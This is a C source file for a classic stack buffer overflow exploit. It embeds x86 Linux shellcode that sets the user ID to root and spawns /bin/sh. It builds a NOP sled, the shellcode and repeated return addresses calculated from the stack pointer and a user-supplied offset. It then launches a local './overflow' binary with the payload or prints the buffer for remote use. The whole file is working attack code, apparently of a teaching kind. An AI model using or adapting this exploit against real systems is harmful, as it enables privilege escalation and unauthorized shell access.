#include <stdlib.h>

char shellcode[]=
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

// this gets us the location of the stack
unsigned long get_sp(void)
{  __asm__("movl %esp, %eax"); }

int main(int argc, char *argv[])
{
  int i, size, offset = 0;
  long esp, ret, *addr_ptr;
  char *buffer, *ptr;

  esp = get_sp(); // get local esp
  if((argc == 1) || (argc > 4))   // must supply and argument
  {
    printf("Usage: %s <size> <offset> <esp for remote exploits>)\n",argv[0]);
    return 0;
  }
  if(argc > 1) size = atoi(argv[1]);
  if(argc > 2) offset = atoi(argv[2]);
  if(argc > 3) esp = strtoul(argv[3],NULL,0); // only used for remote exploits
  ret = esp - offset;

  printf("Stack pointer (ESP) : 0x%x\n", esp);
  printf("    Offset from ESP : 0x%x\n", offset);
  printf("Desired Return Addr : 0x%x\n", ret);

  buffer = (char *)malloc(size);
  ptr = buffer;
  addr_ptr = (long *)ptr;

  // fill buffer with aligned return addresses
  for(i=0; i < size; i+=4)
  { *(addr_ptr++) = ret; }

  // fill half of buffer with NOPs  
  for(i=0; i < size/2; i++)
  { buffer[i] = '\x90'; }

  // insert shellcode
  ptr = buffer + size/2;
  for(i=0; i<strlen(shellcode); i++)
  { *(ptr++) = shellcode[i]; }

  // terminate the string
  buffer[size-1] = 0;

  if(argc>3)
    printf("%s\n",buffer);
  else
    // adjust as needed for local exploitation
    execl("./overflow", "overflow", buffer, 0);

  free(buffer);
  return 0;
}

